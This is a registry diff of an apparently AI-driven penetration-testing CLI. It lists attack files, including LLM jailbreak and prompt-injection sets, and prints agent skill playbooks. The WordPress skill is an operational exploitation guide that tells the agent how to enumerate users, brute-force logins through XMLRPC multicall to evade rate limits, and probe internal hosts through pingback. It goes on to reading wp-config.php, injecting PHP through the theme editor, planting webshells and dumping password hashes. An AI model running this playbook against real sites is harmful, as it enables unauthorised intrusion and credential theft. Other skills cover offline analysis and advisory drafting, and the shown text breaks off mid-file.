0sec-cli 0.15.0 → 0.18.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/0sec.js +327 -0
- package/README.md +68 -48
- package/attacks/data-exfiltration/pii-leakage.yaml +27 -0
- package/attacks/encoding-bypass/base64-encoding.yaml +24 -0
- package/attacks/jailbreak/dan-roleplay.yaml +27 -0
- package/attacks/jailbreak/hypothetical-scenario.yaml +25 -0
- package/attacks/jailbreak/multilingual-bypass.yaml +22 -0
- package/attacks/output-manipulation/harmful-content.yaml +25 -0
- package/attacks/prompt-injection/context-manipulation.yaml +32 -0
- package/attacks/prompt-injection/direct-injection.yaml +28 -0
- package/attacks/prompt-injection/indirect-injection.yaml +33 -0
- package/attacks/system-prompt-extraction/direct-ask.yaml +30 -0
- package/attacks/system-prompt-extraction/markdown-exfil.yaml +26 -0
- package/attacks/tool-misuse/ssrf-via-tools.yaml +27 -0
- package/chunks/adapt-loop-SMH6V4PD.js +18 -0
- package/chunks/adgraph-JLGA6RYI.js +54 -0
- package/chunks/agent/skills/frameworks/entra-id.yaml +63 -0
- package/chunks/agent/skills/frameworks/graphql-introspection.yaml +116 -0
- package/chunks/agent/skills/frameworks/nextjs.yaml +82 -0
- package/chunks/agent/skills/frameworks/python-web.yaml +85 -0
- package/chunks/agent/skills/frameworks/supabase.yaml +83 -0
- package/chunks/agent/skills/frameworks/wordpress-deep.yaml +122 -0
- package/chunks/agent/skills/techniques/ad-attack-paths.yaml +57 -0
- package/chunks/agent/skills/techniques/advisory-disclosure.yaml +59 -0
- package/chunks/agent/skills/techniques/assumption-mining.yaml +53 -0
- package/chunks/agent/skills/techniques/blind-exploitation.yaml +143 -0
- package/chunks/agent/skills/techniques/crypto-misuse.yaml +88 -0
- package/chunks/agent/skills/techniques/cve-poc-adaptation.yaml +82 -0
- package/chunks/agent/skills/techniques/entra-attack-paths.yaml +55 -0
- package/chunks/agent/skills/techniques/http-conformance-diff.yaml +48 -0
- package/chunks/agent/skills/techniques/jwt-attacks.yaml +137 -0
- package/chunks/agent/skills/techniques/kernel-weaponization.yaml +53 -0
- package/chunks/agent/skills/techniques/llm-excessive-agency.yaml +55 -0
- package/chunks/agent/skills/techniques/llm-insecure-output-handling.yaml +56 -0
- package/chunks/agent/skills/techniques/llm-prompt-injection.yaml +54 -0
- package/chunks/agent/skills/techniques/llm-prompt-layer-write.yaml +68 -0
- package/chunks/agent/skills/techniques/llm-rag-poisoning.yaml +57 -0
- package/chunks/agent/skills/techniques/llm-safety-eval.yaml +51 -0
- package/chunks/agent/skills/techniques/npm-ecosystem.yaml +51 -0
- package/chunks/agent/skills/techniques/poc-verification.yaml +55 -0
- package/chunks/agent/skills/techniques/race-condition.yaml +122 -0
- package/chunks/agent/skills/techniques/scoped-fix.yaml +49 -0
- package/chunks/agent/skills/techniques/seedless-depth-review.yaml +59 -0
- package/chunks/agent/skills/techniques/spec-differential.yaml +48 -0
- package/chunks/agent/skills/techniques/variant-hunting.yaml +55 -0
- package/chunks/agent/skills/vulnerabilities/cardano-eutxo-validators.yaml +72 -0
- package/chunks/agent/skills/vulnerabilities/command-injection.yaml +99 -0
- package/chunks/agent/skills/vulnerabilities/deserialization-chains.yaml +106 -0
- package/chunks/agent/skills/vulnerabilities/native-memory-safety.yaml +93 -0
- package/chunks/agent/skills/vulnerabilities/path-traversal.yaml +78 -0
- package/chunks/agent/skills/vulnerabilities/prototype-pollution.yaml +132 -0
- package/chunks/agent/skills/vulnerabilities/request-smuggling.yaml +129 -0
- package/chunks/agent/skills/vulnerabilities/sqli-advanced.yaml +102 -0
- package/chunks/agent/skills/vulnerabilities/ssrf-bypass.yaml +84 -0
- package/chunks/agent/skills/vulnerabilities/ssti-exploitation.yaml +112 -0
- package/chunks/agent/skills/vulnerabilities/structural-sqli.yaml +91 -0
- package/chunks/appsec-catalog-CBWHGTEL.js +24 -0
- package/chunks/artifact-scraper-HQ7HLP6V.js +34 -0
- package/chunks/assumption-mining-5SNIVVDN.js +79 -0
- package/chunks/chunk-242TMK6G.js +110 -0
- package/chunks/chunk-2JCCA2JL.js +381 -0
- package/chunks/chunk-2RMLOJVB.js +47 -0
- package/chunks/chunk-3KPWWJCI.js +1422 -0
- package/chunks/chunk-3MOLBTLS.js +953 -0
- package/chunks/chunk-53G27VPS.js +136 -0
- package/chunks/chunk-57ZENEX2.js +169 -0
- package/chunks/chunk-5G3ZXFBW.js +182 -0
- package/chunks/chunk-5JI7L7KV.js +74240 -0
- package/chunks/chunk-6L26OBWI.js +1094 -0
- package/chunks/chunk-6LKRLK2R.js +542 -0
- package/chunks/chunk-72CISA2D.js +2597 -0
- package/chunks/chunk-7DQEV5QI.js +287 -0
- package/chunks/chunk-AD7WXDH6.js +3250 -0
- package/chunks/chunk-ADOLI6DT.js +102 -0
- package/chunks/chunk-AHTBZC3E.js +596 -0
- package/chunks/chunk-ASUR522M.js +518 -0
- package/chunks/chunk-ATATQACO.js +471 -0
- package/chunks/chunk-BATRQBOR.js +1732 -0
- package/chunks/chunk-BFR2CDV5.js +5735 -0
- package/chunks/chunk-BFRB6HB2.js +235 -0
- package/chunks/chunk-BKZFDZ23.js +361 -0
- package/chunks/chunk-BVAZO4WA.js +193 -0
- package/chunks/chunk-BZNEY2ZS.js +33225 -0
- package/chunks/chunk-C2WXWFBB.js +1070 -0
- package/chunks/chunk-CMKXP5RR.js +917 -0
- package/chunks/chunk-DW5UWPFY.js +275 -0
- package/chunks/chunk-F3WBKITT.js +687 -0
- package/chunks/chunk-GMT2AZKM.js +2439 -0
- package/chunks/chunk-H2FFLZNK.js +3 -0
- package/chunks/chunk-IOL7D5YV.js +515 -0
- package/chunks/chunk-IR537GON.js +49 -0
- package/chunks/chunk-JQHOLLTD.js +3729 -0
- package/chunks/chunk-KLTNTE2Z.js +121 -0
- package/chunks/chunk-LP3HHYQU.js +245 -0
- package/chunks/chunk-MYVT64FN.js +16 -0
- package/chunks/chunk-N7BOUYEV.js +852 -0
- package/chunks/chunk-OEFNRYI2.js +150 -0
- package/chunks/chunk-P6WKNFWX.js +1968 -0
- package/chunks/chunk-QI233I24.js +333 -0
- package/chunks/chunk-RJWOYEOG.js +271 -0
- package/chunks/chunk-RRMJC3ZE.js +105 -0
- package/chunks/chunk-RWONANDA.js +973 -0
- package/chunks/chunk-SAFFWQW4.js +5921 -0
- package/chunks/chunk-SF4KZ4O3.js +502 -0
- package/chunks/chunk-SVJEDVYK.js +808 -0
- package/chunks/chunk-TSK2AG6J.js +5108 -0
- package/chunks/chunk-U5FLXGHT.js +2010 -0
- package/chunks/chunk-UCYRA73C.js +662 -0
- package/chunks/chunk-UR4ELX2Y.js +4784 -0
- package/chunks/chunk-VQG4FT5D.js +685 -0
- package/chunks/chunk-WEBMRWEG.js +9337 -0
- package/chunks/chunk-WU6AFRAZ.js +1167 -0
- package/chunks/chunk-WVTBZEQO.js +1531 -0
- package/chunks/chunk-WXQ6BJ6A.js +596 -0
- package/chunks/chunk-XM5NLHYU.js +600 -0
- package/chunks/chunk-YLMN3N25.js +4054 -0
- package/chunks/chunk-YYRBQVFE.js +2572 -0
- package/chunks/chunk-Z5FA2XOX.js +2798 -0
- package/chunks/commands-TBC2F5CE.js +16999 -0
- package/chunks/corpus-v1.json +403 -0
- package/chunks/cost-ledger-NU63MYZM.js +13 -0
- package/chunks/data/appsec-archetypes.json +102 -0
- package/chunks/data/chromium-archetypes.json +204 -0
- package/chunks/data/freebsd-archetypes.json +171 -0
- package/chunks/data/kernel-archetypes.json +611 -0
- package/chunks/db-KFWOAUUB.js +16 -0
- package/chunks/disclose-EKTWSCGW.js +132 -0
- package/chunks/dist-4MAW5X6L.js +74 -0
- package/chunks/dist-4YICS2J2.js +2776 -0
- package/chunks/dist-FMGSR3DW.js +159 -0
- package/chunks/eval-runner-7ZF472KV.js +27 -0
- package/chunks/example-manifest.json +95 -0
- package/chunks/exploit-agent-45YQOHPJ.js +98 -0
- package/chunks/exploit-autoclimb-UZGEMGYT.js +81 -0
- package/chunks/exploit-climb-SG23KB2G.js +358 -0
- package/chunks/fix-IG7LYXH3.js +12 -0
- package/chunks/github-issues-MJ6OYOOU.js +157 -0
- package/chunks/harness-7ODOLOWU.js +22 -0
- package/chunks/http-conformance-DU66MZIU.js +11 -0
- package/chunks/http-sender-GWH2IYEA.js +10 -0
- package/chunks/hunt-scan-MMKUOETU.js +38 -0
- package/chunks/identity-6ZAIIWOR.js +191 -0
- package/chunks/kernel-primitive-7U6CWHXD.js +44 -0
- package/chunks/kernel-vm-runner-3JAU4O6J.js +62 -0
- package/chunks/memsafety-scan-J7SECV5W.js +16 -0
- package/chunks/native-loop-RJCJPOUS.js +54 -0
- package/chunks/npm-detectors-KB5Y5ZFX.js +69 -0
- package/chunks/npm-dynamic-discovery-AHROOZDB.js +13 -0
- package/chunks/orchestrate-OC2VZN2X.js +62 -0
- package/chunks/pipeline-BZK5BLJR.js +14 -0
- package/chunks/pre-recon-cve-66EB6G4M.js +351 -0
- package/chunks/prepare-MYY743TK.js +13 -0
- package/chunks/process-LQRCS5OY.js +13 -0
- package/chunks/replay-runner-45G3VU7X.js +39 -0
- package/chunks/run-D56MPDKY.js +32716 -0
- package/chunks/runtime-G7YWIO3B.js +43 -0
- package/chunks/runtime-J7PLXZNM.js +12 -0
- package/chunks/scan-stream-FHI2FYZE.js +96 -0
- package/chunks/scope-BI7BF4ZY.js +18 -0
- package/chunks/session-store-GZ4A4KYT.js +28 -0
- package/chunks/source-files-PWRQR6LY.js +12 -0
- package/chunks/specdrift-WCLH6TTQ.js +19 -0
- package/chunks/variant-candidates-YERCYMPD.js +13 -0
- package/chunks/web-recon-prepass-JJGPEOLE.js +1148 -0
- package/dashboard/assets/0sec-icon-66SreztZ.gif +0 -0
- package/dashboard/assets/bot-yILPnRgD.js +1 -0
- package/dashboard/assets/chevron-down-BeDJ-Vka.js +1 -0
- package/dashboard/assets/circle-alert-BEnMBMT-.js +1 -0
- package/dashboard/assets/client-DRYsuOGl.js +9 -0
- package/dashboard/assets/copy-Bi5vzoF9.js +1 -0
- package/dashboard/assets/desktop-CXTQonNm.js +32 -0
- package/dashboard/assets/desktop-NOekk4QS.css +1 -0
- package/dashboard/assets/dist-CmX-h7a4.js +1 -0
- package/dashboard/assets/dist-DAwYQmf_.js +45 -0
- package/dashboard/assets/findings-page-CACW9nw2.js +5 -0
- package/dashboard/assets/format-PoISqsES.js +1 -0
- package/dashboard/assets/geist-cyrillic-ext-wght-normal-DjL33-gN.woff2 +0 -0
- package/dashboard/assets/geist-cyrillic-wght-normal-BEAKL7Jp.woff2 +0 -0
- package/dashboard/assets/geist-latin-ext-wght-normal-DC-KSUi6.woff2 +0 -0
- package/dashboard/assets/geist-latin-wght-normal-BgDaEnEv.woff2 +0 -0
- package/dashboard/assets/geist-vietnamese-wght-normal-6IgcOCM7.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-BSMlKf0J.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-CEL4l2ZJ.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-DMdlQ8Kv.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-xuaO2J-f.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-BmRBH3aV.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-D3D2R8hC.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-BulugwFq.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-DDuiU_S-.woff +0 -0
- package/dashboard/assets/jsx-runtime-C7oxC63R.js +1 -0
- package/dashboard/assets/live-page-DrgQqQK5.js +1 -0
- package/dashboard/assets/meta-tile-CcskIV_o.js +1 -0
- package/dashboard/assets/operations-BKE8T-vY.css +2 -0
- package/dashboard/assets/operations-D8nUP5_m.js +4 -0
- package/dashboard/assets/operations-app-CQQhG54n.js +2 -0
- package/dashboard/assets/overview-page-DTGS8dPo.js +1 -0
- package/dashboard/assets/page-header-MFVvEtZW.js +1 -0
- package/dashboard/assets/play-Dwo-9xt6.js +1 -0
- package/dashboard/assets/scans-page-ChVtq8Us.js +1 -0
- package/dashboard/assets/search-CiooTLck.js +1 -0
- package/dashboard/assets/siren-CCBwTSuk.js +1 -0
- package/dashboard/assets/table-BYS-nIVA.js +1 -0
- package/dashboard/assets/tabs-DivxbhQy.js +1 -0
- package/dashboard/desktop.html +21 -0
- package/dashboard/index.html +15 -0
- package/package.json +30 -18
- package/bin/0sec.cjs +0 -361
|
@@ -0,0 +1,122 @@
|
|
|
1
|
+
id: wordpress-deep
|
|
2
|
+
name: "WordPress Deep Exploitation"
|
|
3
|
+
description: "WordPress-specific attack surface: plugins, themes, REST API, xmlrpc, wp-cron, misconfigs"
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles: [attack, audit]
|
|
6
|
+
tags: [wordpress, wp, cms, plugins, themes, xmlrpc, wp-json, wpscan, php]
|
|
7
|
+
triggers:
|
|
8
|
+
- "wp-content"
|
|
9
|
+
- "wp-includes"
|
|
10
|
+
- "wp-admin"
|
|
11
|
+
- "wp-json"
|
|
12
|
+
- "xmlrpc\\.php"
|
|
13
|
+
- "wordpress"
|
|
14
|
+
- "wp-login"
|
|
15
|
+
- "/wp-content/plugins/"
|
|
16
|
+
- "/wp-content/themes/"
|
|
17
|
+
- "wp-cron"
|
|
18
|
+
- "woocommerce"
|
|
19
|
+
- "elementor"
|
|
20
|
+
- "contact-form-7"
|
|
21
|
+
- "yoast"
|
|
22
|
+
- "wp-file-manager"
|
|
23
|
+
estimated_tokens: 800
|
|
24
|
+
content: |
|
|
25
|
+
## WordPress Deep Exploitation
|
|
26
|
+
|
|
27
|
+
### Step 1: Fingerprinting
|
|
28
|
+
**Version and plugin enumeration** (low-noise first):
|
|
29
|
+
- `curl -s TARGET/readme.html` — WP version in title
|
|
30
|
+
- `curl -s TARGET/wp-json/` — REST API root; `namespaces` reveal installed plugins
|
|
31
|
+
- `curl -s TARGET/feed/` — generator tag: `<generator>https://wordpress.org/?v=X.X.X</generator>`
|
|
32
|
+
- `curl -s TARGET/ | grep -oP 'ver=[\d.]+'` — asset version query strings leak WP + plugin versions
|
|
33
|
+
- `curl -s TARGET/wp-content/plugins/` — directory listing if enabled (gold mine)
|
|
34
|
+
- Probe individual plugin readmes: `curl -s TARGET/wp-content/plugins/SLUG/readme.txt | grep -i "stable tag"`
|
|
35
|
+
|
|
36
|
+
**If wp_fingerprint tool is available**, call it first — it returns structured (plugin, version, CVE, exploit_hints) data.
|
|
37
|
+
|
|
38
|
+
### Step 2: User Enumeration
|
|
39
|
+
- REST API: `curl -s TARGET/wp-json/wp/v2/users` — returns usernames and slugs (often enabled by default)
|
|
40
|
+
- Author archives: `curl -s TARGET/?author=1` — redirects to `/author/USERNAME/`
|
|
41
|
+
- Login error oracle: `POST /wp-login.php` with known username — "incorrect password" vs "invalid username"
|
|
42
|
+
- XMLRPC: `wp.getUsersBlogs` method leaks valid usernames with correct password attempts
|
|
43
|
+
|
|
44
|
+
### Step 3: XMLRPC Attacks
|
|
45
|
+
**Confirm XMLRPC is active**: `curl -s TARGET/xmlrpc.php` — should return "XML-RPC server accepts POST requests only."
|
|
46
|
+
|
|
47
|
+
**Brute-force via system.multicall** (bypasses rate-limiting — tests hundreds of passwords in one HTTP request):
|
|
48
|
+
```xml
|
|
49
|
+
<?xml version="1.0"?>
|
|
50
|
+
<methodCall>
|
|
51
|
+
<methodName>system.multicall</methodName>
|
|
52
|
+
<params><param><value><array><data>
|
|
53
|
+
<value><struct>
|
|
54
|
+
<member><name>methodName</name><value>wp.getUsersBlogs</value></member>
|
|
55
|
+
<member><name>params</name><value><array><data>
|
|
56
|
+
<value>admin</value><value>password1</value>
|
|
57
|
+
</data></array></value></member>
|
|
58
|
+
</struct></value>
|
|
59
|
+
<!-- repeat for each password -->
|
|
60
|
+
</data></array></value></param></params>
|
|
61
|
+
</methodCall>
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
**Pingback SSRF**: `pingback.ping` method — can probe internal services:
|
|
65
|
+
```xml
|
|
66
|
+
<?xml version="1.0"?>
|
|
67
|
+
<methodCall>
|
|
68
|
+
<methodName>pingback.ping</methodName>
|
|
69
|
+
<params>
|
|
70
|
+
<param><value>http://INTERNAL-HOST:PORT/</value></param>
|
|
71
|
+
<param><value>TARGET/any-existing-post</value></param>
|
|
72
|
+
</params>
|
|
73
|
+
</methodCall>
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
### Step 4: High-Value Plugin Vulnerabilities
|
|
77
|
+
Try these in order (highest ROI first):
|
|
78
|
+
|
|
79
|
+
**Arbitrary file upload** (unauthenticated RCE):
|
|
80
|
+
- WP File Manager (CVE-2020-25213): `POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php`
|
|
81
|
+
- Duplicator (CVE-2020-11738): path traversal via `installer-backup.php`
|
|
82
|
+
- Contact Form 7 (CVE-2020-35489): unrestricted upload via `.php.` double-extension
|
|
83
|
+
|
|
84
|
+
**SQL injection**:
|
|
85
|
+
- Check all plugin AJAX endpoints: `POST /wp-admin/admin-ajax.php?action=PLUGIN_ACTION`
|
|
86
|
+
- GiveWP, LayerSlider, WP Statistics — historically rich SQLi targets
|
|
87
|
+
|
|
88
|
+
**LFI/Path traversal**:
|
|
89
|
+
- Theme/plugin file parameters: `?file=../../../wp-config.php`
|
|
90
|
+
- `wp-config.php` is the holy grail — contains DB creds, auth keys, table prefix
|
|
91
|
+
|
|
92
|
+
### Step 5: Authenticated Exploitation
|
|
93
|
+
Once you have valid creds (even subscriber-level):
|
|
94
|
+
|
|
95
|
+
**Admin-level (editor/admin)**:
|
|
96
|
+
- Theme Editor: `POST /wp-admin/theme-editor.php` — inject PHP into `404.php` or `functions.php`, then `GET /wp-content/themes/THEME/404.php`
|
|
97
|
+
- Plugin Editor: `/wp-admin/plugin-editor.php` — edit any installed plugin's PHP
|
|
98
|
+
- Plugin Install: `/wp-admin/plugin-install.php` — upload malicious ZIP as a "plugin"
|
|
99
|
+
- Media Upload: `POST /wp-admin/admin-ajax.php?action=upload-attachment`
|
|
100
|
+
|
|
101
|
+
**Subscriber/Author escalation**:
|
|
102
|
+
- Check for plugins granting upload capabilities to low-privilege roles
|
|
103
|
+
- Author-level users can upload media — try `.phtml`, `.php5`, `.shtml` extensions
|
|
104
|
+
- REST API: `POST /wp-json/wp/v2/posts` — some plugins expose write endpoints to subscribers
|
|
105
|
+
|
|
106
|
+
### Step 6: wp-cron Abuse
|
|
107
|
+
- `curl -s TARGET/wp-cron.php` — triggers scheduled tasks; can be used for timing attacks
|
|
108
|
+
- Some plugins register cron hooks that perform privileged operations (email sends, cache rebuilds)
|
|
109
|
+
- DoS vector: repeated wp-cron triggers under load
|
|
110
|
+
|
|
111
|
+
### Step 7: Common Misconfigurations
|
|
112
|
+
- `wp-config.php` backup files: try `wp-config.php.bak`, `wp-config.php~`, `wp-config.php.save`, `wp-config.php.swp`, `.wp-config.php.swp`
|
|
113
|
+
- Debug mode: `?debug=true` or check for `WP_DEBUG` output in HTML comments
|
|
114
|
+
- Directory listing: `/wp-content/uploads/`, `/wp-content/backup-db/`
|
|
115
|
+
- Exposed phpinfo: `/wp-content/plugins/*/phpinfo.php`
|
|
116
|
+
- Default creds: `admin/admin`, `admin/password`, `admin/<sitename>`
|
|
117
|
+
|
|
118
|
+
### Post-Exploitation
|
|
119
|
+
- Webshells land in: `/wp-content/uploads/YYYY/MM/shell.php`
|
|
120
|
+
- Read `wp-config.php` for DB credentials, secret keys, and table prefix
|
|
121
|
+
- DB access → dump `wp_users` table for all password hashes
|
|
122
|
+
- Check `wp_options` for `siteurl`, `active_plugins`, custom secrets
|
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
id: ad-attack-paths
|
|
2
|
+
name: "Active Directory Attack-Path Analysis"
|
|
3
|
+
description: "When to reach for the offline `ad_attack_paths` engine: given a BloodHound CE / SharpHound JSON collection on disk, enumerate paths to Domain Admin, kerberoastable principals, unconstrained delegation, DCSync rights, ACL-abuse chains, and ADCS escalation — files only, no collection, no network."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
- review
|
|
9
|
+
tags:
|
|
10
|
+
- active-directory
|
|
11
|
+
- bloodhound
|
|
12
|
+
- sharphound
|
|
13
|
+
- kerberoast
|
|
14
|
+
- dcsync
|
|
15
|
+
- delegation
|
|
16
|
+
- privilege-escalation
|
|
17
|
+
triggers:
|
|
18
|
+
- "BloodHound"
|
|
19
|
+
- "SharpHound"
|
|
20
|
+
- "DCSync"
|
|
21
|
+
- "kerberoast"
|
|
22
|
+
- "unconstrained delegation"
|
|
23
|
+
- "Domain Admin"
|
|
24
|
+
estimated_tokens: 600
|
|
25
|
+
content: |
|
|
26
|
+
## Active Directory attack-path analysis (offline)
|
|
27
|
+
|
|
28
|
+
When you have (or can point at) a BloodHound CE / SharpHound JSON collection
|
|
29
|
+
already on disk, do NOT try to reason about the graph by hand or re-collect it
|
|
30
|
+
over the network. Call the **`ad_attack_paths`** tool: it ingests the collector
|
|
31
|
+
files, builds the object graph, and runs every analyzer offline.
|
|
32
|
+
|
|
33
|
+
### When this applies
|
|
34
|
+
- A directory of `*.json` collector output, or a single BloodHound CE export.
|
|
35
|
+
- Any question about "how does an attacker reach Domain Admin here?", tiering
|
|
36
|
+
violations, or dangerous ACL/permission chains.
|
|
37
|
+
|
|
38
|
+
### How to drive it
|
|
39
|
+
- Pass `dir` for an unzipped collection directory, or `file` for one export.
|
|
40
|
+
- Optionally pass `domain` (an FQDN) to scope a multi-domain collection.
|
|
41
|
+
- The tool never touches the network and never authenticates — it reads files.
|
|
42
|
+
|
|
43
|
+
### Reading the result
|
|
44
|
+
- `findings[]` are ordered worst-first; each carries a `shortestPath`
|
|
45
|
+
(`hops` + `technique`), an affected-principal count, and a remediation.
|
|
46
|
+
- Prioritise short paths to Tier-0: a 2-hop path to Domain Admin is a
|
|
47
|
+
different conversation from a 6-hop one.
|
|
48
|
+
- **An empty result is not a clean domain.** If the export never collected
|
|
49
|
+
memberships/ACLs, the paths that depend on them cannot be computed — say so,
|
|
50
|
+
and recommend re-collecting with the missing collections rather than
|
|
51
|
+
reporting the domain as safe.
|
|
52
|
+
|
|
53
|
+
### Follow-ups
|
|
54
|
+
- Confirm the concrete edges (group membership, ACE, delegation flag) in the
|
|
55
|
+
finding evidence before you claim a path is real.
|
|
56
|
+
- Feed a confirmed, high-impact path into `assemble_advisory` when you need a
|
|
57
|
+
written write-up.
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
id: advisory-disclosure
|
|
2
|
+
name: "Advisory & Disclosure Drafting"
|
|
3
|
+
description: "When to reach for the offline `assemble_advisory` engine: turn a persisted, confirmed finding into a GHSA-ready advisory draft (CWE + CVSS + repro + remediation), a filing-state decision, and — when reproduced — a DRAFT vendor-notification. Offline DB read; never sends or publishes."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
- review
|
|
9
|
+
tags:
|
|
10
|
+
- advisory
|
|
11
|
+
- disclosure
|
|
12
|
+
- ghsa
|
|
13
|
+
- cvss
|
|
14
|
+
- vendor-notification
|
|
15
|
+
- reporting
|
|
16
|
+
triggers:
|
|
17
|
+
- "advisory"
|
|
18
|
+
- "GHSA"
|
|
19
|
+
- "disclosure"
|
|
20
|
+
- "CVSS"
|
|
21
|
+
- "vendor notification"
|
|
22
|
+
- "write.?up"
|
|
23
|
+
estimated_tokens: 650
|
|
24
|
+
content: |
|
|
25
|
+
## Advisory & coordinated-disclosure drafting (offline)
|
|
26
|
+
|
|
27
|
+
When a finding is confirmed and you need a written, GHSA-ready advisory, use
|
|
28
|
+
the **`assemble_advisory`** tool. It reads the finding from the local findings
|
|
29
|
+
database (offline) and renders the artifacts — it NEVER sends, files, or
|
|
30
|
+
publishes anything. Everything it produces is a DRAFT for human review.
|
|
31
|
+
|
|
32
|
+
### How to drive it
|
|
33
|
+
- Pass `finding_id` (an id or unique prefix). Omit it to draft the most recent
|
|
34
|
+
finding that is not `discovered` (LLM-hypothesised, unconfirmed) or
|
|
35
|
+
`false-positive` (rejected).
|
|
36
|
+
- Optionally pass `scan_id` to restrict the lookup, and `db_path` for a
|
|
37
|
+
non-default database.
|
|
38
|
+
- `allow_unreproduced: true` also stages the vendor-notification for a finding
|
|
39
|
+
whose PoC did not reproduce (default off).
|
|
40
|
+
|
|
41
|
+
### The quality gate — never auto-draft junk
|
|
42
|
+
- Auto-filing an unverified PoC is the canonical "AI-generated low-quality"
|
|
43
|
+
trigger that gets advisories auto-closed. The tool refuses to auto-select
|
|
44
|
+
`discovered` / `false-positive` / suppressed findings for exactly this
|
|
45
|
+
reason. Respect that: if you must draft one, pass its explicit `finding_id`
|
|
46
|
+
and treat the output as internal.
|
|
47
|
+
|
|
48
|
+
### Reading the result
|
|
49
|
+
- `advisory.markdown` is the GHSA-ready draft (with `primaryCwe`, `cvssVector`,
|
|
50
|
+
`cvssScore`). `advisoryError` appears instead when the finding has no
|
|
51
|
+
reproducible PoC content (an empty-PoC drop).
|
|
52
|
+
- `filingState` is the keep / needs-review / drop verdict.
|
|
53
|
+
- `vendorNotification` is the DRAFT notification when the finding reproduced;
|
|
54
|
+
`vendorNote` explains why it was skipped otherwise.
|
|
55
|
+
|
|
56
|
+
### Before disclosing
|
|
57
|
+
- Confirm the CVSS vector and affected range are right, and that the repro is
|
|
58
|
+
genuinely reproducible. Ground any referenced CVE with `cve_lookup` rather
|
|
59
|
+
than citing from memory.
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
id: assumption-mining
|
|
2
|
+
name: "Assumption Mining"
|
|
3
|
+
description: "When to reach for the offline `assumption_hunt` engine: mine a source tree for the IMPLICIT assumptions the code depends on (a field is never null, an input is already validated upstream, a caller holds a lock, a size fits) and surface the sites where a violated assumption becomes a bug. Offline source read; never touches the target network. Emits LEADS to verify."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
- review
|
|
9
|
+
tags:
|
|
10
|
+
- assumption-mining
|
|
11
|
+
- invariants
|
|
12
|
+
- preconditions
|
|
13
|
+
- source-review
|
|
14
|
+
- static-analysis
|
|
15
|
+
- trust-boundary
|
|
16
|
+
triggers:
|
|
17
|
+
- "assumption"
|
|
18
|
+
- "invariant"
|
|
19
|
+
- "precondition"
|
|
20
|
+
- "trusts? (that|the) (input|caller|upstream)"
|
|
21
|
+
- "(implicit|unstated) (contract|guarantee)"
|
|
22
|
+
estimated_tokens: 600
|
|
23
|
+
content: |
|
|
24
|
+
## Assumption mining (offline)
|
|
25
|
+
|
|
26
|
+
Many real bugs are not a missing check in isolation — they are an IMPLICIT
|
|
27
|
+
assumption that holds everywhere except one path. `assumption_hunt` mines a
|
|
28
|
+
source tree for those unstated contracts and flags where a violated one turns
|
|
29
|
+
into a vulnerability.
|
|
30
|
+
|
|
31
|
+
### What it hunts
|
|
32
|
+
- "This value is never null / never empty here."
|
|
33
|
+
- "This input was already validated / sanitized upstream."
|
|
34
|
+
- "The caller already holds this lock / already checked permission."
|
|
35
|
+
- "This length/size always fits; this index is always in range."
|
|
36
|
+
- "These two representations can never disagree."
|
|
37
|
+
|
|
38
|
+
For each mined assumption it looks for a reachable path where the assumption
|
|
39
|
+
is NOT guaranteed — an entry point that skips the upstream validation, a
|
|
40
|
+
second caller that does not hold the lock, an attacker-controlled size.
|
|
41
|
+
|
|
42
|
+
### How to drive it
|
|
43
|
+
- Point it at the `source` root (a local path; resolved within the scoped
|
|
44
|
+
source path when one is set). It is offline and reads files only.
|
|
45
|
+
|
|
46
|
+
### Reading the result
|
|
47
|
+
- Output is **LEADS, not confirmed bugs.** A mined assumption + a candidate
|
|
48
|
+
violating path is a hypothesis. Verify it: trace the concrete path from a
|
|
49
|
+
real entry point to the site and confirm the assumption is genuinely
|
|
50
|
+
unenforced there (not enforced by a wrapper or an earlier guard).
|
|
51
|
+
- Complements `variant_hunt` (same bug elsewhere) and `deep_source_review`
|
|
52
|
+
(lens-driven depth): use `assumption_hunt` when the risk is a subtle broken
|
|
53
|
+
contract rather than a keyword-visible dangerous sink.
|
|
@@ -0,0 +1,143 @@
|
|
|
1
|
+
id: blind-exploitation
|
|
2
|
+
name: "Blind Exploitation Techniques"
|
|
3
|
+
description: "Side-channel exploitation when injection works but output is hidden: OOB DNS/HTTP callbacks, timing oracles, error-based inference, and boolean extraction."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
- review
|
|
9
|
+
tags:
|
|
10
|
+
- blind
|
|
11
|
+
- oob
|
|
12
|
+
- time-based
|
|
13
|
+
- error-based
|
|
14
|
+
- side-channel
|
|
15
|
+
- exfiltration
|
|
16
|
+
- waf-bypass
|
|
17
|
+
triggers:
|
|
18
|
+
- "\\bblind\\b"
|
|
19
|
+
- "no output"
|
|
20
|
+
- "\\bwaf\\b"
|
|
21
|
+
- "filter.*block"
|
|
22
|
+
- "request.*rejected"
|
|
23
|
+
- "time.?based"
|
|
24
|
+
